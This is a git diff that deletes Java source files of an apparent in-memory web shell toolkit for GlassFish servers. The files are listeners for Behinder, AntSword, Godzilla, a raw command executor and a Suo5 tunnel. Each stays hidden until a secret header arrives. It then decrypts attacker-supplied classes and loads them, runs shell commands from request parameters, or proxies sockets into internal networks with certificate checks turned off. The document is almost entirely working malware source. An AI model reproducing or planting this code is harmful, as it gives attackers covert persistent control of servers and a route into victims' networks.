BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - // 触发 parameters 填充 response 对象 - request.getParameterMap(); - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java deleted file mode 100644 index 327f9838..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - // glassfish7 - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java deleted file mode 100644 index 5e363af2..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java +++ /dev/null @@ -1,127 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - // glassfish7 - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } - -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java deleted file mode 100644 index 8e8638c6..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java +++ /dev/null @@ -1,80 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - // glassfish7 - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } - - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java deleted file mode 100644 index a39b1fa0..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java +++ /dev/null @@ -1,153 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - // glassfish7 - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java deleted file mode 100644 index 66915392..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/suo5/Suo5Listener.java +++ /dev/null @@ -1,608 +0,0 @@ -package com.reajason.javaweb.memshell.glassfish.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = 